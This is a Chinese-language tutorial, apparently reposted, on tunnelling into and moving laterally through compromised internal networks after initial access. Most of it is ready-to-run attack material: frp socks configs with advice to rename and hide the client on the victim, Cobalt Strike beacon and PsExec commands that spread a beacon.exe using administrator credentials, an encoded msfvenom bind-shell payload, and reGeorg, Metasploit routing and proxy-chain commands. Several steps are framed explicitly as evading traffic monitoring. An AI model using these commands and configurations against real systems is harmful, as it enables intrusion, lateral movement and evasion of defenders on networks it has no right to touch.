內網穿透的常用方法總結


前言

在內網滲透時,一個WebShell或CobaltStrike、Metasploit上線等,只是開端,更多是要內網橫向移動,擴大戰果,打到核心區域。但后滲透的前提是需要搭建一條通向內網的“專屬通道”,才能進一步攻擊。可實戰中因為網絡環境不同,所利用的方式就不同。

本文內容按以下思維導圖展開

 目標出網(socks代理)

這是實戰中最願意碰到的網絡環境,目標機可以正常訪問互聯網,可直接在目標機掛socks代理或CobaltStrike上線,打通目標的內網通道。

frp(socks5)

frp服務端配置文件

[common]
bind_port = 8080

frp客戶端配置文件

[common]
server_addr = xx.xx.xx.xx
server_port = 8080
#服務端口使用Web常見端口
[socks5]
type = tcp
remote_port = 8088
plugin = socks5
use_encryption = true
use_compression = true
#socks5口令
#plugin_user = SuperMan
#plugin_passwd = XpO2McWe6nj3

此處添加了加密壓縮這兩個功能,默認是不開啟的,根據作者介紹,壓縮算法使用的是 snappy。

use_encryption = true 啟用加密 [通信內容加密傳輸,有效防止流量被攔截]

use_compression = true 啟用壓縮 [傳輸內容進行壓縮,有效減小傳輸的網絡流量,加快流量轉發速度,但會額外消耗一些CPU資源]

use_encryption = true 、use_compression = true 必須放在相關協議下面。

frp客戶端與配置文件傳到目標機后,把程序名與配置文件進行修改,並放在系統相關文件夾中,做到隱蔽

 setg Proxies socks5:xxx.xxx.xxx.xxx:8088

加密壓縮的對比

這是frp客戶端配置文件中未使用 encryption 與 compression 功能,利用metasploit掛socks代理,掃描ms17_010傳輸的數據包,明顯可辨別出具體攻擊行為。如果目標內網有”態勢感知“、流量分析等安全設備,就會被監測到,導致權限丟失。

 使用 encryption 與 compression 功能后,雖攻擊源地址同樣會暴露,但傳輸的數據包卻無法辨別,規避了內網中的安全監測設備

CobaltStrike (socks4a)

到已控目標機的Beacon下將socks代理開啟

beacon > socks 1024 #端口根據VPS實際情況進行設置

 菜單欄中的 View > Proxy Pivots ,復制代理連接到Metasploit中,或直接將socks4a掛在相關安全工具中。

上線不出網機器

這是link鏈接,只要主鏈路(出網機Beacon)掉線,均掉!

SMB Beacon

官方對SMB Beacon的介紹:SMB Beacon是使用命名管道通過父級Beacon進行通訊,當兩個Beacons鏈接后,子Beacon從父Beacon獲取到任務並發送。因為鏈接的Beacons使用Windows命名管道進行通信,此流量封裝在SMB協議中,所以SMB Beacon相對隱蔽。

創建一個SMB的Listener (host與port可無視),注意Listener選擇,在session中選擇route可達的主機派生會話。

(在Listner生成SMB Beacon>目標主機>右鍵> spawn as>選中對應的Listener>上線)

 運行成功后,可以看到 ∞∞ 這個字符,這就是派生SMB Beacon的連接狀態。

 可在主Beacon上用link host鏈接或unlink host斷開。

beacon> link 192.168.144.155
beacon> unlink 192.168.144.155

Link Listener

 在已上線的主機創建Listener。

 

 

 

 導出該類型Listener對應的可執行文件或dll等。

 

 

 選擇剛建立的Listener。

 

 

 上傳剛才生成的payload到當前已上線的目標機中,這里用PsExec.exe 工具 。(CobalStrike本身psexec功能不夠強大)

 

 

 在Beacon中使用PsExec工具將payload上傳到不出網的目標機中,自動執行,上線。

beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

beacon> shell netstat -ano |findstr 4444

SSH Login
beacon> ssh 192.168.144.174:22 root admin
beacon> ssh 192.168.144.203:22 root admin

 

 

 在Linux目標機中查看網絡連接狀態,實際是與之前已上線的Windows主機建立的連接。

目標不出網(http代理)

目標機網絡中可能有防火牆、網閘等,只允許http單向出,無法正常訪問互聯網,用上述socks方法是行不通的,只能用http代理進行滲透。

reGeorg (socks5)

python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

 

 

 利用metasploit掛reGeorg socks代理,掃描ms17_010傳輸的數據包,明顯可辨別攻擊行為。

Neo-reGeorg (加密)

python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx

使用Neo-reGeorg后,數據包已被加密傳輸。

 

 

冰蠍 (開socks5)

冰蠍的數據包傳輸是加密的,本身也具備socks代理功能,但傳輸過程中存在丟包情況。這里同樣是利用metasploit探測ms17_010漏洞,結果顯示不存在。當不設置代理探測時,實際漏洞是存在的。

雖然冰蠍的這種代理掃描方式不如reGeorg准確,但小線程的端口探測等是可行的,如 auxiliary/scanner/portscan/tcp。准確度更多是因某種探測或其他方式的數據包在傳輸過程中的多少而決定。

reduh (單端口轉發)

reduh使用:https://blog.csdn.net/nzjdsds/article/details/82930774

當目標服務器中間件等服務版本較低,reGeorg或冰蠍馬等無法正常解析,就需要換用其它的http代理腳本。這是某實戰中遇到的環境:

 

 這里以reduh為例,雖然只能對指定的端口進行轉發 (不適用圖形化連接操作),但可以先利用msfvenom生成正向的shell payload,再結合reduh單端口轉發,上線metasploit,最后利用socks4a模塊開代理。

下面把具體的流程走一遍:

sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe

#--platform <platform> 指定payload的目標平台
#-e, --encoder <encoder> 指定需要使用的編碼器
#-i, --iterations <count> 指定payload的編碼次數

 

 上傳payload到目標服務器,並執行。

 

metasploit是監聽轉發后的地址與端口。

 

sudo msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/shell_bind_tcp
msf5 exploit(multi/handler) > set rhost 127.0.0.1
msf5 exploit(multi/handler) > set lport 5353
msf5 exploit(multi/handler) > run -j

java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx

telnet 127.0.0.1 1010
>>[createTunnel]5353:127.0.0.1:53

 

 可在metasploit滲透,或開啟一個socks4a,掛載其他安全工具上繼續滲透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 10080
msf5 auxiliary(server/socks4a) > run -j

注意

為什么payload要用shell,而不用meterpreter。meterpreter是高級的payload,傳輸中占用大量數據包,這種單端口轉發上線metasploit,本就不是很穩定,meterpreter會使“小水管”更加不穩定!

隔離網絡(多級代理)

 內網滲透中,會遇到隔離網絡,更多時候是邏輯上的隔離,突破的辦法就是拿到route可達的跳板機 (多張網卡、運維機等)的權限,建立一層二級代理、三級代理…

frp

現拿到一台雙網卡內網服務器權限,可以用frp建立通道,這台服務器既是服務端也是客戶端。

(具體,參考https://www.cnblogs.com/PANDA-Mosen/p/13096260.html)

proxifier

用frp建立好后,結合proxifier添加兩條代理:外網socks、內網socks,之后創建代理鏈 。(注意代理順序)

 

 設置代理規則,選擇對應代理。

 

 二層代理成功,內網隔離機445探測開放。

Proxychains

命令行代理神器proxychains,設置二層代理、socks口令。(注意代理順序)

 

 聯動metasploit,ms17_010探測,可以看到代理鏈的傳輸過程。

 

針對metasploit的利用,只要sessions中的route可達,就可以直接進行多層網絡滲透,更加方便。但主session掉,均掉!

在獲取目標一個sessions 后,可以查看IP段信息並自動添加路由表。

msf5 exploit(multi/handler) > sessions 1
meterpreter > run get_local_subnets
meterpreter > run autoroute -p
meterpreter > run post/multi/manage/autoroute
meterpreter > run autoroute -p
meterpreter > background

 

 上述是在meterpreter權限中添加,或當知道目標路由表信息時,可直接添加。

msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1
msf5 exploit(multi/handler) > route

 

 可在metasploit繼續滲透,或開啟一個socks,掛載其他工具上多層穿透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run -j

然后打開/etc/proxychains.conf

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM